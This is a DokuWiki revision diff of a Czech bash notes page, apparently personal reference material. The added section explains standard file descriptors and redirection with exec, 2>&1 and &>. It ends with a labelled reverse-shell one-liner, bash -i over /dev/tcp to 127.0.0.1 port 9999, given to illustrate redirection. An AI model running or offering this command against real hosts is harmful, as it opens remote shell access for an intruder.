Uživatelské nástroje

Nástroje pro tento web


bash_general

Rozdíly

Zde můžete vidět rozdíly mezi vybranou verzí a aktuální verzí dané stránky.

Odkaz na výstup diff

Obě strany předchozí revizePředchozí verze
Následující verze
Předchozí verze
bash_general [2017/10/28 22:24] – [Regulární výrazy] djbuldogbash_general [2025/08/28 10:09] (aktuální) – upraveno mimo DokuWiki 127.0.0.1
Řádek 54: Řádek 54:
 ==== Startwith/Endwith ==== ==== Startwith/Endwith ====
  
-  * pro porovnání typu startwith/endwith lze použít i standardní možnosti shellu ([[http://www.tldp.org/LDP/abs/html/parameter-substitution.html|parameter substitution, example 10-8]]+  * pro porovnání typu startwith/endwith lze použít i standardní možnosti shellu ([[http://www.tldp.org/LDP/abs/html/parameter-substitution.html|parameter substitution, example 10-8]])
  
 <code bash> <code bash>
Řádek 89: Řádek 89:
 AAA AAA
 </code> </code>
 +
 +===== vstupy/výstupy =====
 +
 +  * standardní file descriptor procesu:
 +    * 0 STDIN
 +    * 1 STDOUT
 +    * 2 STDERR
 +
 +  * otevři soubor /tmp/x pro zápis jako STDOUT (FD 1)
 +
 +  exec > /tmp/x
 +  echo "aaa"
 +
 +  echo "aaa" > /tmp/x
 +
 +  * zduplikuj FD 2 na FD 1
 +
 +  exec 2>&1
 +
 +  * nastav FD1 + FD2 na /tmp/x
 +
 +  exec &> /tmp/x
 +
 +  * nastav stdin na stejný fd jeako stdout
 +
 +  0>&1
 +
 +  0<&1
 +
 +  <&1
 +
 +  * reverse shell: vytvoř TCP soket na IP 127.0.0.1, port 9999, nasměruj na něj výstup interaktivního bash shellu a vstup čti z tohoto socketu
 +
 +  bash -i &> /dev/tcp/127.0.0.1/9999 0>&1
 +
  
bash_general.1509222296.txt.gz · Poslední úprava: (upraveno mimo DokuWiki)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki